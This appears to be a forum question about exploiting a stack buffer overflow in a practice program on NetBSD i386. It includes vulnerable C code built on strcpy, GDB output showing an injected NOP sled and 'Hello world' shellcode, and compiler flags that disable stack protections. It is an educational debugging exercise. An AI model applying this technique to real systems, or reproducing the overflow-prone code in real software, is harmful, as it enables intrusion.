I'm trying to exploit a buffer overflow in a test program to execute arbitrary code. I'm on NetBSD 6 i386. Here is the C code:
int checkPassword(char *password)
{
char savePassword[64] = {0};
char *logMessage;
int isUser = 0;
int isAdmin = 0;
int i;
if (!strcmp(password, userPassword))
isUser = 1;
strcpy(savePassword, password);
for (i = 0; password[i]; ++i)
password[i] ^= xorKey;
if (!strcmp(password, adminPassword))
isAdmin = 1;
if (!(isAdmin | isUser)) {
/* ... */
}
return isAdmin ? ADMIN : isUser ? USER : NOBODY; /* main.c:79 */
}
I insert the code in the savePassword
buffer (at %ebp - 0x58
). Here is the debugging with GDB:
# gdb -q ./pepito
Reading symbols from /root/Pepito/source/pepito...done.
(gdb) b main.c:79
Breakpoint 1 at 0x80490f4: file main.c, line 79.
(gdb) r debug
Starting program: /root/Pepito/source/pepito debug
Daemon started
Breakpoint 1, checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:79
79 return isAdmin ? ADMIN : isUser ? USER : NOBODY;
I break on the function return, then I ensure the arbitrary code (96 bytes length) was correctly wrote on the stack:
(gdb) x/96xb $ebp-0x58
0xbfbfd560: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd568: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd570: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd578: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd580: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd588: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd590: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd598: 0x90 0xb0 0x04 0x6a 0x0c 0x6a 0x50 0x6a
0xbfbfd5a0: 0x01 0x6a 0x01 0xcd 0x60 0x00 0x00 0x00
0xbfbfd5a8: 0x31 0xd2 0x66 0x52 0x6a 0x01 0xcd 0x80
0xbfbfd5b0: 0x48 0x65 0x6c 0x6c 0x6f 0x20 0x77 0x6f
0xbfbfd5b8: 0x72 0x6c 0x64 0x0a 0x78 0xd5 0xbf 0xbf
Then I continue until the ret
assembly instruction:
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) x/i $eip
=> 0x8049119 <checkPassword+393>: ret
Then I check the return address that is a the top of the stack (at %esp
):
(gdb) x/xw $esp
0xbfbfd5bc: 0xbfbfd578
This address will be poped by ret
and then we will jump at it. Let's see the instructions we have at that address:
(gdb) x/50i 0xbfbfd578
0xbfbfd578: nop
0xbfbfd579: nop
0xbfbfd57a: nop
[...]
0xbfbfd597: nop
0xbfbfd598: nop
0xbfbfd599: mov al,0x4
0xbfbfd59b: push 0xc
0xbfbfd59d: push 0x50
0xbfbfd59f: push 0x1
0xbfbfd5a1: push 0x1
0xbfbfd5a3: int 0x60
Our arbitrary code!
But if I execute the ret
it segfaults:
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0x08049119 in checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:80
80 }
(gdb) x/i $eip
=> 0x8049119 <checkPassword+393>: ret
It seems the operating system forbade me to jump on the stack memory. But I disabled the non executable stack protections:
gcc -m32 -g -fno-stack-protector -D_FORTIFY_SOURCE=0 -c main.c
gcc main.o daemon.o network.o utils.o -o pepito -m32 -L./lib_netbsd -lsecret -Wl,-rpath,./lib_netbsd -Wl,-z,execstack
readelf
confirms us that the stack is executable:
# readelf -l pepito
Elf file type is EXEC (Executable file)
Entry point 0x8048d60
There are 7 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
[...]
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4